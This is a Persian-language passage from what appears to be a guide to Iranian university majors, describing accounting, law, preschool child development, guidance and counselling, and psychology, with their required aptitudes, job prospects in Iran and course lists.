    رشته‌ حسابداری‌ از جمله‌ رشته‌هایی‌ است‌ که‌ از داوطلبان‌ سه‌ گروه‌ آزمایشی‌ ریاضی‌ و فنی‌، علوم‌تجربی‌ و علوم‌انسانی‌ دانشجو می‌پذیرد و در آزمون‌ هر سه‌ گروه‌ نیز درس‌ ریاضی‌ به‌ عنوان‌ مهمترین‌ درس‌ این‌ رشته‌ مطرح‌ است‌. در واقع‌ داشتن‌ شم‌ ریاضی‌ در رشته‌ حسابداری‌ از اهمیت‌ بسیاری‌ برخوردار است‌. همچنین‌ یک‌ حسابدار باید بتواند به خوبی‌ گزارش‌ کارهای‌ خود را ارائه‌ دهد. بنابراین‌ باید به ادبیات‌ فارسی‌ مسلط‌ بوده‌ و نگارش‌ خوبی‌ داشته‌ باشد. همچنین‌ دانشجوی‌ این‌ رشته‌ باید تحمل‌ ساعت‌ها کار در پشت‌ یک‌ میز و صندلی‌ و سروکار داشتن‌ با اعداد و ارقام‌ را داشته‌ و دقیق‌ و منظم‌ باشد تا در جمع‌‌بندی‌ اعداد و ارقام‌ دچار مشکل‌ نگردد و در نهایت این که یک حسابدار برای موفقیت در این دنیای پر از رقابت و تغییر و تحول باید خلاق، مبتکر، صبور و منضبط باشد.
    موقعیت‌ شغلی‌ در ایران‌ :
    فرصت‌های‌ شغلی‌ یک‌ حسابدار بسیار گسترده‌ است‌ و از پایین‌ترین‌ سطح‌ تا بالاترین‌ سطح‌ را در بر می‌گیرد. به همین دلیل با این‌ که‌ در دانشگاه‌های‌ مختلف‌ کشور اعم‌ از دولتی‌، غیرانتفاعی‌ و آزاد، دانشجویان‌ بسیاری‌ در رشته‌ حسابداری‌ تحصیل می‌کنند اما تعداد فارغ‌التحصیلان‌ بیکار این‌ رشته‌ از بیشتر رشته‌ها کمتر است‌. چون‌ از یک‌ مؤسسه‌ کوچک‌ گرفته‌ تا بزرگترین‌ کارخانه‌های‌ کشور حداقل‌ برای‌ تهیه‌ اظهارنامه‌ مالیاتی‌ به‌ حسابدار نیازمند هستند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل‌ :
    دروس‌ پایه‌:
    روانشناسی‌ عمومی‌، جامعه‌ شناسی‌، اصول‌ علم‌ اقتصاد، ریاضیات‌ پایه‌، ریاضیات‌ کاربردی‌، آمار کاربردی‌، مبانی‌ کاربرد کامپیوتر، پژوهش‌ و عملیات‌، مدیریت‌ تولید، حقوق‌ بازرگانی‌، پول‌ و ارز بانکداری‌ ، مبانی‌ سازمان‌ مدیریت‌، توسعه‌ اقتصادی‌، مالیه‌ عمومی‌، روش‌ تحقیق‌.
    دروس‌ اصلی‌ و تخصصی‌:
    اصول‌ حسابداری‌، حسابداری‌ میانه‌، حسابداری‌ پیشرفته‌، حسابداری ‌صنعتی‌، حسابرسی‌، حسابداری‌ مالیاتی‌، اصول‌ تنظیم‌ و کنترل‌ بودجه‌، مدیریت‌ مالی‌، مباحث‌ جاری‌ حسابداری‌ ، متون‌ حسابداری‌.

  66. حقوق
    دیباچه: “هرگاه خداوند بنده‌ای را گرامی کند،‌ او را در برپای داشتن حق (در میان مردم) یاری می‌کند.”این کلام امیر‌المؤمنان، رساتر از هر جمله دیگری بیانگر ارزش علم حقوق است. علمی که با حمایت از قانون و دفاع از حقوق محرومان، تلاش می‌کند تا در جامعه حق و عدالت حاکم شود. در معرفی این علم باید گفت که هرگونه‌ روابط‌ اجتماعی‌ که‌ آثار حقوقی‌ از آن‌ ایجاد شود، موضوع‌ علم‌ حقوق‌ قرار می‌گیرد. این‌ روابط‌ می‌تواند مربوط‌ به‌ روابط‌ دولت‌ و مردم‌ باشد که‌ به‌ حقوق‌ عمومی‌ معروف‌ است‌ یا شامل‌ روابط‌ خصوصی‌ مردم‌ گردد که‌ حقوق‌ خصوصی‌ نامیده‌ می‌شود. به‌ عبارت‌ دیگر حقوق‌ عمومی‌ شامل‌ حقوق‌ قوای‌ سه‌گانه‌ کشور، حاکمیت‌ و آنچه‌ که‌ مربوط‌ به‌ اداره‌ کشور است‌، می‌شود و حقوق‌ خصوصی‌ به‌ روابط‌ بین‌ خود مردم‌ می‌پردازد که‌ مهمترین‌ آنها روابط‌ تجاری‌ است‌ که‌ عامل‌ ایجاد رشته‌ حقوق‌ تجارت‌ شده‌ است‌ یا مسائل‌ مربوط‌ به‌ حقوق‌ مدنی‌ است‌ که‌ از آن‌ جمله‌ می‌توان‌ به‌ اموال‌، مالکیت‌، قراردادها، مسؤولیت‌هایی‌ که‌ اشخاص‌ در خطاهایی‌ که‌ مرتکب‌ می‌شوند برایشان‌ به‌ وجود می‌آید مثل‌ مسؤولیت‌ ناشی‌ از حوادث‌، قواعد مربوط‌ به‌ ارث‌، وصیت‌، ولادت‌، اقامتگاه‌ اشخاص‌ و ده‌ها مورد دیگر اشاره‌ کرد. همچنین‌ شاخه‌ای‌ از حقوق‌ به‌ روابط‌ بین‌المللی‌ می‌پردازد که‌ خود به‌ دو بخش‌ حقوق‌ روابط‌ بین‌الملل‌ عمومی‌ و خصوصی‌ تقسیم‌ می‌شود که‌ حقوق‌ روابط‌ بین‌الملل‌ عمومی‌ به‌ روابط‌ بین‌ دولت‌ها و سازمان‌های‌ بین‌المللی‌ می‌پردازد.
    توانایی‌های‌ لازم :
    جسارت‌، قدرت‌ استدلال‌، خلاقیت‌ ذهنی‌ و فن‌ بیان‌ خوب‌ لازمه‌ موفقیت‌ در این‌ رشته‌ است‌. ممکن‌ است‌ که‌ به‌ دست‌ آوردن‌ لیسانس‌ حقوق‌ کار دشواری‌ نباشد اما حقوقدان‌شدن‌ بسیار مشکل‌ است‌. چرا که‌ علم‌ حقوق‌ امروزه‌ با جامعه‌شناسی‌، روانشناسی‌ و علوم‌ فلسفی‌ آمیخته‌ شده‌ است‌ و یک‌ حقوقدان‌ باید از این‌ علوم‌ اطلاعات‌ کافی‌ داشته‌ باشد. همچنین‌ یک‌ دانشجوی‌ حقوق‌ برای‌ این‌که‌ در رشته‌ خود موفق‌ گردد لازم‌ است‌ که‌ به‌ زبان‌ و ادبیات‌ فارسی‌ مسلط‌ باشد چون‌ منطق‌ حقوق‌ در ضمن‌ این‌ که‌ شباهت‌های‌ زیادی‌ به‌ منطق‌ ریاضی‌ دارد، یک‌ منطق‌ اقناعی‌ و خطابی‌ است‌؛ یعنی‌ یک‌ حقوقدان‌ باید بتواند کسانی‌ را که‌ مورد خطاب‌ او قرار می‌گیرند یا دادگاهی‌ که‌ مأمور رسیدگی‌ به‌ دعوا است‌، با زبان‌ سلیس‌ و بلیغ‌ قانع‌ کند ، در نتیجه‌ باید به‌ زبان‌ و ادبیات‌ مسلط‌ باشد. در ضمن‌ باید اطلاعاتی‌ از ریاضیات‌ داشته‌ باشد.
    موقعیت‌ شغلی‌ در ایران :
    در حال‌ حاضر به‌ دلیل‌ توسعه‌ این‌ رشته‌ و تعداد زیاد فارغ‌التحصیلان‌ آن‌، که‌ از دانشگاه‌های‌ دولتی‌ و غیردولتی‌ وارد بازار کار می‌شوند، یافتن‌ کار مناسب‌ برای‌ فارغ‌التحصیل‌ لیسانس‌ با دشواری‌هایی‌ توأم‌ است‌ بخصوص‌ متقاضیانی‌ که‌ علاقه‌مند به‌ کار خاصی‌ مثل وکالت در این‌ رشته‌ هستند، با محدودیت‌هایی‌ مواجه‌ می‌شوند. اما در کل‌ یک‌ دانشجوی‌ خوب‌ و علاقه‌مند می‌تواند پس‌ از گواهی‌ لیسانس‌ به‌ شغل‌های‌ متنوعی‌ مثل‌ وکالت‌ دعاوی‌ دادگستری‌، مشاور حقوقی‌ بانک‌ها، شهرداری‌ها، شرکت‌ها و وزارتخانه‌ها و سردفتری‌ دفاتر اسناد رسمی‌ بپردازد.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ پایه‌:
    مقدمه‌ علم‌ حقوق‌، حقوق‌ جزای‌ عمومی‌، حقوق‌ اساسی‌، حقوق‌ مدنی‌ ، مبانی‌ علم‌ اقتصاد، عربی‌، مالیه‌ عمومی‌، مبانی‌ جامعه‌شناسی‌.
    دروس‌ اصلی‌ و تخصصی‌:
    آئین‌ دادرسی‌ مدنی‌، متون‌ حقوقی‌، آئین‌ دادرسی‌ کیفری‌، حقوق‌ اساسی‌، حقوق‌ جزای‌ عمومی‌، حقوق‌ بین‌المللی‌ عمومی‌، حقوق‌ سازمان‌های‌ بین‌المللی‌، حقوق‌ اداری‌، اصول‌ فقه‌، متون‌ فقه‌، حقوق‌ تجارت‌، قواعد فقه‌، حقوق‌ تطبیقی‌، ادله‌ اثبات‌ دعوی‌، حقوق‌ کار، پزشکی‌ قانونی‌، کار تحقیقی‌، حقوق‌ بین‌المللی‌ خصوصی‌.

  67. رشد و پرورش کودکان پیش دبستانی
    دیباچه: آیا می‌دانید که در کشورهای پیشرفته ۷۰% کودکان، زیر پوشش مراکز پیش‌دبستانی قرار دارند و در کشور ما این رقم تنها ۸% است. دلیل استقبال کشورهای توسعه یافته از مراکز پیش‌دبستانی این است که امروزه روانشناسان و متخصصان علوم تربیتی معتقدند که شخصیت اصلی انسان، در چهار سال اول زندگی شکل می‌گیرد و در این سنین، کودک باید تحت تعلیم و تربیتی عمیق و همه‌جانبه قرار گیرد تا به رشد کامل جسمی، روحی و عاطفی دست یابد.در این میان، مراکز پیش‌دبستانی می‌توانند با ایجاد امکانات آموزشی،‌ پرورشی، اجتماعی و رفاهی، شرایط لازم را برای رشد همه جانبه کودکان فراهم سازند. این مراکز،‌ اولین محیط اجتماعی و در واقع پلی بین خانه و اجتماع بزرگی است که کودک به آن تعلق دارد. در این مراکز، آگاهی‌های اجتماعی کودک رشد یافته و با استفاده از روش‌های غیرمستقیم آموزشی، فرصتی برای یادگیری وسیعتر، غنی‌تر و همه جانبه‌تر پیدا می‌کند. این نوع آموزش با روحیه جست و جوگر، فعال و کنجکاو کودک سازگارتر است و او را به یادگیری و اکتشاف برمی‌انگیزد.بنابراین درکنار خانواده‌ها و هم پای تربیت آنها، لازم است که مراکز آموزش پیش از دبستان در زمینه تکامل همه جانبه کودک نقش داشته باشند.اهمیت این مراکز زمانی آشکارتر می‌شود که بدانیم در بسیاری از مواقع، خانواده وظیفه خود را به دلیل آشنا نبودن با مسائل تربیتی، فقر فرهنگی، کم سوادی یا بی‌سوادی، مشکلات اقتصادی، دور بودن والدین ازمحیط خانه به علت کار و تأمین زندگی، از هم گسیختگی خانوادگی و مواردِ بی شمار دیگر، بخوبی ایفا نمی‌کند. اینجاست که مراکز پیش‌دبستانی باید کمبودهای آموزشی، تربیتی، جسمی و عاطفی کودکان را جبران نمایند.رشته رشد و پرورش کودکان پیش‌دبستانی با توجه به همین ضرورت و نیاز به داشتن مربیانی مجرب و توانمند، در دانشگاه علوم بهزیستی و توانبخشی دایر شده است. این رشته در مقطع کارشناسی دو گرایش “کودکان عادی” و “کودکان با نیازهای ویژه” دارد.
    گرایش کودکان عادی :
    چگونه باید برای کودکان داستان گفت، به آنها شعر آموخت و با آنها بازی کرد؟ زبان‌آموزی و آموزش مفاهیم ریاضی چگونه باید باشد؟ اصول اجتماعی، مذهبی و اخلاقی را چگونه باید به آنها یاد داد تا کودک رشد کامل و همه‌جانبه‌ای داشته باشد؟هر بازی، سرگرمی و آموزشی در این مراکز می‌تواند نقش مؤثری بر جسم و روان کودک داشته باشد.برای مثال، کارهای هنری در مراکز قبل از دبستان، سبب تکامل ادراک، حافظه، تخیلات، خلاقیت و نیروی عضلانی کودک می‌شود و برای وی امکان کنترل اعمال او را فراهم می‌سازد. در مراکز قبل از دبستان، کودک با دیدن نمایش‌های عروسکی و عادت به بازی با دوستان در نقش بزرگسالان و بیان قصه با نقاشی و معرفی شخصیت‌های واقعی یا غیرواقعی، امکان می‌یابد تا وارد دنیای بزرگسالان شود و به اصطلاح پایش روی زمین قرار گیرد. همچنین نقاشی‌هایی که کودک در مهد کودک می‌کشد، در تشکیل شخصیت و روان او اهمیت بسزایی دارد و نه تنها برای او امکان شناسایی محیط و شرکت خود را در آن فراهم می‌کند، بلکه به او امکان می‌دهد تا مسائلی را که به صورت نامنظم ازهمه طرف برای او مطرح است، به شکل صورت‌بندی شده منظم کند.البته برای رسیدن به اهداف یاد شده، نیاز به مربیان متخصصی است که از ویژگی‌ها و نیازهای کودکان اطلاع داشته باشند. هدف رشته رشد و پرورش کودکان پیش‌دبستانی ـ گرایش کودکان عادی، تربیت همین دسته از مربیان است؛ افرادی که در مراکز پیش‌دبستانی وابسته به سازمان بهزیستی، وظیفه آموزش و تربیت کودکان را بر عهده دارند. گفتنی است که این گرایش نقاط اشتراکی با رشته علوم تربیتی ـ گرایش آموزش کودکان دبستانی و پیش‌دبستانی دارد؛ با این تفاوت که رشته علوم تربیتی در دو حیطه کودکان دبستانی و پیش‌دبستانی فعالیت می‌کند و مربیان مورد نیاز آموزش و پرورش را در این دو حیطه تربیت می‌نماید، اما رشته رشد و پرورش کودکان پیش‌دبستانی ـ گرایش کودکان عادی، زیرنظر سازمان بهزیستی کشور است و تنها مربیان دوره پیش‌دبستانی را تربیت می‌کند.
    گرایش کودکان با نیازهای ویژه :
    اطلاع از ناتوانی‌ها، توانایی‌ها و قابلیت‌های کودکان در سنین پیش از دبستان، به طور چشمگیری در موفقیت‌های بعدی و پیشگیری از اختلالات مؤثر است.از همین‌رو، در این دوران یکی از مهمترین خدماتی که مربی می‌تواند انجام دهد، تشخیص کودکان تحت مراقبت خود، از نظر رفتارهای فیزیکی و ذهنی است؛ زیرا یک مربی در زمانی طولانی و در موقعیت‌های بسیار طبیعی کودکان را مشاهده می‌کند و چنانچه تفاوتی جدی و زیربنایی درکودک وجود داشته باشد، می‌تواند این اختلالات را در بسیاری از زمینه‌ها، پیش از اینکه جدی‌تر شوند، تشخیص دهد و زمینه را برای کمک‌های لازم متخصصان به نحو معتبر فراهم آورد.زمانی می‌توان به اهمیت این مسأله پی برد که دانست، هر چه ناتوانی‌‌های کودکان زودتر شناخته شود، زودتر تصحیح می‌شود و حتی تشکیل الگوها و عادت‌های نامطلوب و واکنش‌های عاطفی کاهش می‌یابد.برای مثال، اگر در دوره پیش از دبستان، کودکانی که دچار تنبلی چشم، ناشنوایی یا کم‌شنوایی و اختلال ذهنی هستند،‌ شناخته شوند، در بهبود جسمی، ذهنی و روحی آنها بسیار تأثیر خواهد داشت و والدین نیز دچار تنش و آسیب اجتماعی و عاطفی کمتری می‌شوند.هدف گرایش رشد و پرورش کودکان با نیازهای ویژه، تربیت متخصصانی است که بتوانند در این زمینه فعالیت کنند و نیازهای جامعه ما را برطرف سازند.
    توانایی‌های لازم:
    کودک مثل آینه درخشانی است که هر چه ببیند، فوراً می‌گیرد و منعکس می‌کند. او مثل صفحه سپیدی است که هر آنچه بر آن بنویسی، درخود نگاه می‌دارد و چون خمیر یا مومی است که در دستان مربی به هر گونه‌ای ساخته می‌شود. در واقع آنچه در کودکی به خردسال آموخته می‌شود، درست مثل نقشی که بر سنگی کنده شود، اثرش همیشه باقی می‌ماند. از همین‌رو، مربی کودکان پیش‌دبستانی بودن، از سخت‌ترین کارها است؛ زیرا رفتار، طرز صحبت و بیان، نگاه، پوشش، راه رفتن و در کل همه کارهای مربی، در کودک نقش جاودانه می‌بندد و کوچکترین لغزش مربی، بر گروهی از کودکان اثر منفی می‌گذارد. از سوی دیگر، مربی کودکان بودن، از بهترین کارها است؛ چرا که وی با شخصیت و روح انسان‌هایی پراحساس و پر از شور معصومانه سر و کار دارد و پایه جامعه را می‌سازد. به همین دلیل، دانشجوی این رشته باید فردی پاک، صادق، سالم و پر انرژی و عاشق کودکان و آشنا با روانشناسی کودک باشد. همچنین لازم است که وی فردی خلّاق و سازنده باشد تا بتواند شیطنت و کنجکاوی کودکان را به بهترین راه سوق دهد و از شجاعت و جسارت کودک برای یادگیری، کشف دنیای پیرامون و پرورش هوش و استعداد وی بهره بگیرد.برای مثال، اسباب بازی که دردیدگاه اکثر مردم وسیله‌ای برای گذراندن اوقات فراغت کودک است، می‌تواند انعکاسی از ابزار شغل و حرفه‌ فردای کودک باشد؛ نحوه استفاده از آن، حرفه‌ای را به او آموزش می‌دهد، نوع، شکل و رنگ آن، او را با دنیایی از علم فیزیک آشنا می‌نماید، روش کار با آن می‌تواند دری از دنیای عجایب را بر روی کودک بگشاید و در کل این وسیله می‌تواند به او توجه و دقت در مسائل را بیاموزد.در این میان، یک مربی باید فکری سازنده داشته باشد تا با این وسایل، هم شوق و رغبت کودک را جلب کند و هم وسیله بازی، خصوصیت آموزشی وپرورشی را در خود داشته باشد و فرهنگی درست و صحیح را نیز به کودک انتقال دهد.
    موقعیت‌های شغلی در ایران:
    درحال حاضر ۳۶ هزار مربی، بدون تحصیلات دانشگاهی و تخصص لازم، در مهد کودک‌های کشور فعالیت می‌کنند. این به معنای آن است که فرصت های شغلی بسیاری برای فارغ‌التحصیل این رشته وجود دارد؛ زیرا بی‌شک هر مرکز پیش‌دبستانی مایل است که از مربیان مجرّب و متخصص برخوردار باشد؛ کارشناسانی که می‌توانند سطح کیفی مرکز رادر حد قابل توجهی افزایش دهند.در ضمن فارغ‌التحصیل این رشته می‌تواند به عنوان کارشناس تهیه مواد و وسایل آموزشی و کمک آموزشی، در مراکز پیش‌دبستانی و نیز به عنوان کارشناس آموزش و برنامه‌ریزی در سازمان بهزیستی کشور، کانون پرورش فکری کودکان و نوجوانان و مراکز کودکان استثنایی فعالیت نماید.
    درس‌های این رشته در طول تحصیل:
    دروس مشترک در هر دو گرایش کودکان عادی و کودکان با نیازهای ویژه:
    اصول و مبانی آموزش و پرورش، آموزش و پرورش تطبیقی، روانشناسی عمومی، روش‌ها و فنون تدریس، روانشناسی رشد ، آسیب‌شناسی روانی کودک، کمک‌های اولیه، روانشناسی تربیتی، بهداشت روانی و مسائل خانواده، مقدمات برنامه ریزی آموزشی و درسی، آموزش و پرورش کودکان استثنایی، عوامل اجتماعی در رشد و پویایی گروهی، روش‌های مصاحبه، مقدمات تکنولوژی آموزشی، روش‌های آماری در علوم تربیتی، سنجش و اندازه‌گیری در علوم تربیتی، بهداشت و تغذیه مادر کودک، بیماری‌های کودکان، اختلالات رفتاری و روش‌های تغییر و اصلاح رفتار کودکان، روانشناسی بازی، مدیریت مراکز پیش‌دبستانی، آشنایی با مفاهیم ریاضیات و علوم پیش‌دبستانی، آموزش مهارت‌های اجتماعی و اخلاق به کودکان، آموزش هنر به کودکان، کاردستی و مهارت‌های فنی، کارورزی، مشاوره کودک، قصه‌گویی و نمایش خلاق، برنامه‌ریزی در دوره پیش‌دبستان، مسائل ژنتیک، جامعه‌شناسی عمومی، حقوق کودک، مقدمات روش تحقیق در علوم تربیتی، مقدمات تکنولوژی آموزشی، روش‌های آماری در علوم تربیتی، سنجش و اندازه‌گیری در علوم تربیتی، آشنایی با کامپیوتر، ارتباط و آموزش خانواده، آموزش و پرورش پیش‌دبستانی.
    دروس تخصصی گرایش کودکان عادی:
    رشد و پرورش زبان و مهارت‌های کلامی، حرکات ورزشی و سرودهای خاص کودکان، ادبیات کودکان، کارورزی ، طرح پژوهشی مقدماتی.
    دروس تخصصی گرایش رشد و پرورش کودکان با نیازهای ویژه:
    شناخت کودکان، آشنایی با اختلالات رشد روانی ـ حرکتی کودکان عادی و استثنایی، آشنایی با بهداشت روانی معلولین و خانواده آنها، آشنایی با روانشناسی کودکان فزون کنش و کمرویی در کودکان پیش‌دبستانی و روش‌های اصلاح، اختلالات گویایی و روش‌های اصلاح در کودکان و نوجوانان، کارورزی، طرح پژوهشی مقدماتی.

  68. راهنمایی ومشاوره
    دیباچه: یک زندگی آرام،‌ شیرین و بدون تنش‌های عصبی بزرگترین آرزوی هر فردی است. آرزویی که دست‌یابی به آن بسیار دشوار است. چرا که امروزه افزایش مشکلات و پیچیدگی و آمیختگی آنها با یکدیگر، انسان‌ها را بیش از زمان‌های گذشته در برابر شرایط دشوار،‌ نامساعد و پرفشار قرار می‌دهد تا جایی که انواع فشارهای روانی جزء لاینفک زندگی روزمره بسیاری از ما شده است. و این به معنای آن است که ایجاد روابط سالم و صمیمانه با همنوعان، داشتن زندگی پرثمر و تحقق نیروهای بالقوه‌ای که در وجود تک‌ تک انسان‌ها به ودیعه گذاشته شده است،‌ به سختی امکان‌پذیر می‌باشد.حال چه باید کرد؟‌ آیا می‌توان منتظر ماند تا تمامی مشکلات حل گردد و سپس در مسیر زندگی گام برداشت؟‌ یا باید از دشواری‌ها و مشکلات زندگی نهراسید و حتی از شکست پلی برای پیروزی ساخت؟بدون شک تمام افراد باید راه دوم را انتخاب کنند و برای پیشگیری از فشارهای روانی از راهنمایی کارشناسان مشاوره و راهنمایی بهره ببرند. چرا که این افراد می‌توانند مردم را برای رسیدن به یک بهداشت همگانی در مقابل بیماری‌های روحی و روانی واکسینه کنند.رشته راهنمایی و مشاوره یکی از رشته‌های گروه علوم انسانی است که جنبه کاربردی دارد و دروس آن بیشتر در زمینه رشد، ابعاد مختلف شخصیت آدمی و پیشگیـری از مشکلات و اختلالات بخصـوص مشکلات دانش‌آموزان و نوجوانان است. مشاور‌ به‌ افراد آموزش‌ می‌دهد که‌ چه‌ کنند تا دچار بحران‌های‌ روحی‌ نگردند و راه‌ پیشرفت‌ و تکامل‌ را راحت‌تر و سریع‌تر طی‌ نمایند. بخش‌ دیگری‌ از فعالیت مشاوره‌ نیز شامل‌ حال‌ افرادی‌ می‌شود که‌ دچار بحران‌ شده‌اند و اکنون‌ نمی‌دانند که‌ چگونه‌ باید از بحران‌ مورد نظر عبور کرده‌ یا با آن‌ کنار بیایند در اینجا مشاور به‌ فرد مراجعه‌ کننده‌ کمک‌ می‌کند تا بتواند بر بحران‌ موجود غلبه‌ کند. مشاوره‌ بیشتر جنبه‌ کاربردی‌ دارد و از تحقیقات‌ و داده‌های‌ روانشناسی‌ برای‌ حل‌ مشکلات‌ مردم‌ یاری‌ می‌گیرد؛ مردم‌ عادی‌ که‌ با بحران‌های‌ روحی‌ روبرو هستند.
    توانایی‌های‌ لازم :
    خوب‌ گوش‌ دادن‌ و خوب‌ سخن‌ گفتن‌ دو ویژگی‌ مهم‌ و ضروری‌ برای‌ دانشجوی‌ رشته‌ مشاوره‌ است‌. یک‌ مشاور باید بتواند با صبر و بردباری‌ و آرامش‌ درونی‌ خود، فضای‌ مناسبی‌ برای‌ مراجعه‌ کننده‌ ایجاد کند و به‌ او اجازه‌ دهد که‌ خود را تخلیه‌ کرده‌ و دغدغه‌های‌ ذهنی‌ خویش‌ را بیان‌ کند. یک‌ مشاور خوب‌ باید از مسائل‌ اقتصادی‌، سیاسی‌، اجتماعی‌ و مذهبی‌ جامعه‌ نیز اطلاع‌ داشته‌ باشد.
    موقعیت‌ شغلی‌ در ایران :
    مشاوره‌ دارای‌ ابعاد مختلفی‌ است‌ و می‌توان‌ برای‌ انتخاب‌ رشته‌ تحصیلی‌، ازدواج‌، شغل‌یابی‌، نحوه‌ ارتباط‌ در یک‌ محیط‌ صنعتی‌، نحوه‌ ارتباط‌ اعضای‌ خانواده‌ یا نحوه‌ روبرو شدن‌ با بحران‌های‌ دوران‌ نوجوانی‌ و جوانی‌ از مشاور استفاده‌ کرد. امروزه‌ شغل‌ مشاوره‌ یکی‌ از شغل‌های‌ تعریف‌ شده‌ در آموزش‌ و پرورش‌ است‌. و هر مدرسه‌ در مقطع‌ متوسطه‌ یا پیش‌دانشگاهی‌ حداقل‌ نیاز به‌ یک‌ مشاور دارد. به‌ همین‌ دلیل‌ با کمبود کارشناس‌ در رشته‌ مشاوره‌ روبرو هستیم‌. در ضمن‌ یک‌ مشاور می‌تواند به‌ غیر از آموزش‌ و پرورش‌ در بهزیستی‌، کمیته‌ امداد، فرهنگسراها، مراکز بازپروری‌ و زندان‌ها به‌ کار مشاوره‌ بپردازد.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ پایه‌ و اصلی‌ :
    ریاضیات‌ پایه‌، مبانی‌ جامعه‌شناسی‌، انسان‌ از دیدگاه‌ اسلام‌، روان‌شناسی‌ عمومی‌، اصول‌ فلسفه‌ آموزش‌ و پرورش‌، آمار توصیفی‌، آموزش‌ و پرورش‌ ابتدایی‌، راهنمایی‌ و متوسطه‌، جامعه‌شناسی‌ آموزش‌ و پرورش‌، روان‌شناسی‌ از دیدگاه‌ دانشمندان‌ اسلامی‌، مبانی‌ راهنمایی‌ و مشاوره‌، فیزیولوژی‌ انسان‌ (اعصاب‌ و غدد)، آمار استنباطی‌، روش‌ها و فنون‌ راهنمایی‌ و مشاوره‌، سنجش‌ و اندازه‌گیری‌ در علوم‌ تربیتی‌ ، روش‌ها و فنون‌ تدریس‌، نماد خانواده‌ در اسلام‌ و ایران‌، روان‌شناسی‌ رشد، روش‌ تحقیق‌ در علوم‌ تربیتی‌ و مشاوره‌، مقدمات‌ مدیریت‌ آموزشی‌، روان‌شناسی‌ یادگیری‌، تولید و کاربرد مواد آموزشی‌، مبانی‌ کامپیوتر، روان‌شناسی‌ شخصیت‌، روان‌شناسی‌ تربیتی‌، آسیب‌شناسی‌ روانی‌، مسائل‌ جوانان‌ و نوجوانان‌، روان‌شناسی‌ اجتماعی‌، روان‌شناسی‌ و آموزش‌ افراد استثنایی‌، بازی‌ درمانی‌، اختلالات‌ یادگیری‌، آسیب‌شناسی‌ اجتماعی‌ ، بهداشت‌ روانی‌.
    دروس‌ تخصصی :
    راهنمایی‌ و مشاوره‌ تحصیلی‌، راهنمایی‌ و مشاوره‌ شغلی‌، کاربرد آزمون‌های‌ روانی‌ (هوش‌، استعداد، رغبت‌)، کاربرد آزمون‌های‌ تشخیصی‌ و شخصیت‌ در مشاوره‌، نظریه‌ مشاوره‌ و روان‌درمانی‌، راهنمایی‌ و مشاوره‌ گروهی‌، مشاوره‌ خانواده‌، مددکاری‌ اجتماعی‌ در مشاوره‌، روش‌های‌ تغییر و اصلاح‌ رفتار، متون‌ تخصصی‌ زبان‌، پروژه‌ تحقیقاتی‌، تمرین‌ عملی‌ مشاوره‌ (فعالیت‌های‌ راهنمایی‌)، تمرین‌ عملی‌ مشاوره‌ (فعالیت‌های‌ مشاوره‌ای‌).

  69. روانشناسی
    دیباچه: تا ۸۰ سال پیش روانشناسی را مطالعه روح و روان و روانشناس را فردی می‌دانستند که رویداد‌های درونی،‌ ذهنی و مغزی را مثل تصورات، خاطرات،‌ افکار و احساسات مطالعه می‌کند.طبق این تعریف، روانشناسی شاخه‌ای از ذهنی‌ترین بخش دانش انسان؛ یعنی فلسفه بود. اما از اوایل قرن بیستم و با پیشرفت سریع دو علم زیست‌شناسی و فیزیک،‌ روانشناسی نیز مطالعه ذهنی (زندگی روانی) را کنار گذاشت و به مشاهده و مطالعه رفتار موجودات پرداخت. البته هنوز نیز روانشناسان فرآیندهای ذهنی را مطالعه می‌کنند اما این کار را نه به صورت ثبت شخصی ادراکات و احساسات بلکه به شیوه عینی و علمی انجام می‌دهند.متأسفانه‌ هنوز در کشور ما بسیاری‌ از مردم‌، روانشناسی‌ را با کف‌بینی‌ و احضار روح‌ یکی‌ می‌دانند و ما می‌بینیم‌ که‌ کتاب‌هایی‌ با موضوعات‌ فوق‌، به‌ عنوان‌ کتاب‌های‌ روانشناسی‌، فروش‌ فوق‌العاده‌ای‌ دارند. در حالی‌ که‌ روانشناسی‌ شاخه‌ای‌ از علوم‌ زیستی‌ است‌ که‌ هم‌ به‌ مطالعه‌ عینی‌ رفتار قابل‌ مشاهده‌ می‌پردازد و هم‌ به‌ فهم‌ و درک‌ فرآیندهای‌ ذهنی‌ که‌ مستقیماً قابل‌ مشاهده‌ نبوده‌ و براساس‌ داده‌های‌ رفتاری‌ و عصب‌ زیست‌شناختی‌ قابل‌ استنباط‌ است‌، توجه‌ دارد. رشته‌ روانشناسی‌ در مقطع‌ کارشناسی‌ دارای‌ ۴ گرایش‌ بالینی‌، آموزش‌ کودکان‌ استثنایی‌، صنعتی‌ و سازمانی‌ و عمومی‌ است‌. در این میان روانشناسی‌ بالینی‌ خدمات‌ تشخیص‌ و درمان‌ (روان‌ درمانی‌) را به‌ افرادی‌ که‌ دچار رفتارهای‌ نابهنجاری‌ مثل‌ افسردگی‌، اضطراب‌، وسواس‌، و غیره‌ هستند، ارائه‌ می‌دهد که‌ این‌ خدمات‌ در سه‌ زمینه‌ تشخیص‌، درمان‌ و پیشنهادِ روش‌هایی‌ برای‌ پیشگیری‌ از معضلات‌ و ناهنجاری‌های‌ رفتاری‌ ارائه‌ می‌شود. روانشناسی‌ صنعتی‌ و سازمانی‌ نیز یافته‌های‌ روانشناسی‌ را در تمام‌ محیط‌های‌ کاری‌ به‌ کار می‌برد؛ یعنی‌ درباره‌ این‌ که‌ محیط‌ کار باید چگونه‌ باشد تا بهترین‌ بازدهی‌ را داشته‌ باشد یا چه‌ متغیرهایی‌ در ارتباط‌ بین‌ کارفرما و کارگر مؤثر است‌ و چه‌ عواملی‌ باعث‌ عدم‌ تفاهم‌ بین‌ کارفرما و کارگر می‌شود، مطالعه‌ می‌کند. روانشناسی‌ عمومی‌ نیز به‌ مطالعه‌ کلیات‌ روانشناسی‌ می‌پردازد و روانشناسی‌ و آموزش‌ کودکان‌ استثنایی‌ کاربرد یافته‌های‌ روانشناسی‌ در رابطه‌ با کودکان‌ استثنایی‌ (تیزهوشان‌ و معلولین‌ جسمانی‌) است‌.
    توانایی‌های‌ لازم :
